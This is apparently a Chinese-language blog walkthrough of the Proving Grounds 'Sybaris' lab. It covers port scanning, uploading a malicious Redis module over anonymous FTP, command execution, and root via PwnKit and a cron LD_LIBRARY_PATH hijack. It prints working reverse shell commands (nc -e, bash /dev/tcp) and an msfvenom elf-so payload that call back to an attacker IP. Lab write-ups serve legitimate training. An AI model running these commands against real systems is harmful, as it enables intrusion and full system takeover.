Proving Grounds Practice : Sybaris Walkthrough
Proving Grounds Practice : Sybaris Walkthrough
Foothole (立足點 ) :
- Redis 的 CLI 介面與 Module 的載入應用後執行指令成功拿到 Reverse Shell
PE ( 提權 ) :
- linpeas 跑完直接使用 PwnKit 提權成功
注意事項 :
- redis-cli 的應用
- 模組的載入
- 指令的執行
- LIBRARY 環境變數的利用,ldd 指令相依性使用
- .so (elf-so) 格式的 payload
Rustscan,└─$ rustscan -a 192.168.166.93 --scripts none --ulimit 5000 | tee rustscan
snmp filtered,└─$ sudo nmap -sU -p 161 192.168.166.93 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 21,22,80,6379 192.168.166.93 | tee nmap
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
FTP Anonymous 登入,有個路徑 /pub 寫入檔案 test.txt 測試成功
80 /
80 /robots.txt
gobuster 80
80 /login
測試了幾組帳號都顯示沒有該帳號存在
先往下跑 Redis,卡住了,應該要驗證或是 Port 不對
換了 6379 Port 進去了但是這個 shell 甚麼指令都沒有用
改跑 Reverse Shell,跑了 21 & 80 Port 都沒有成功
看來 Redis 是有用的只是我們的 PoC 利用後沒有結
參考 https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
我們還可以使用 Redis 的指令 redis-cli 直接登入看看
└─$ redis-cli -h 192.168.166.93,登入後執行 INFO 看來是有值的
載入的 Modele 是 *.so 檔案,依據 hacktricks 網站提供的連結
參考 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
教你自己 Build Modelu 然後載入就可以下指令了
之前在這一篇就有自己 Build 過 .so 的 module
參考 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html
之前就下載過了
一樣再 Build 一次,└─$ make -f Makefile
由於我們目前已經有了 module.so 檔案了,但 redis-cli 載入模組是在靶機上的路徑
目前要想辦法將檔案上傳到靶機上,已知的僅有 FTP 底下的 pub 目錄可以寫入
讓我們先透過 FTP 把模組上傳到靶機
回到 Redis CLI 介面載入模組,由於我們是透過 FTP 服務上傳
所以載入模組的路徑採用預設的路徑試試看 /var/ftp/pub/module.so
看來是成功的,依據 PoC 的指令使用 system.exec "id" & "whoami" 看來可以正常執行指令
下一步直接用 nc 打 reverse shell 回來看看 system.exec "nc 192.168.45.204 4444 -e /bin/bash"
結果沒有任何作用,因為一開始跑 Redis PoC 時也有限制 Port,所以改 6379 試試看
結果也是 GG 看來應該是無法使用 nc
測試了 rm 也不行,因為他後面也是接 nc,改用最簡單的 bash 試試看
system.exec "bash -i >& /dev/tcp/192.168.45.204/6379 0>&1"
這一次拿到 Reverse Shell 了
cat /etc/passwd
cat /etc/crontab
pspy64 執行後狂跳 Error
改跑 linpeas,又看到 PwnKit,看到這個就會想要嘗試
執行後又 root 了
補充說明 :
root 後又看了 Walkthrough 果然要我們走的路不是 PwnKit 而是那個 /etc/crontab 的結果
因為 pspy64 沒有結果改跑 linpeas 才會改用 PwnKit
回到 cat /etc/crontab 如下
重點在這一行
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
此 crontab 檔案包含一個自訂 LD_LIBRARY_PATH 變量,它將 /usr/local/lib/utils 和 /usr/local/lib/dev 新增到搜尋庫檔案的位置清單中
檢查這些路徑,發現只有 /usr/local/lib/dev 的寫入存取權限
查看 /usr/local/lib/utils 和 /usr/local/lib/dev 的目錄,看到一個 utils.so
回看 crontab 裡面的那個路徑 /usr/bin/log-sweeper
使用 ldd 查看該檔案共享的 lib 相依列表
看到 utils.so 一樣的名稱但是找不到
讓我們直接來建立一個 payload 並取名叫 utils.so
*.so 檔案屬於 elf-so 格式
└─$ msfvenom -p linux/x64/shell_reverse_tcp -f elf-so -b '\x00\x0a\x0d' -o utils.so LHOST=192.168.45.204 LPORT=21
等待一段時間 Cron Job 執行後就看到 21 Listener 進來了
whoami & id 確認是管理者
留言
張貼留言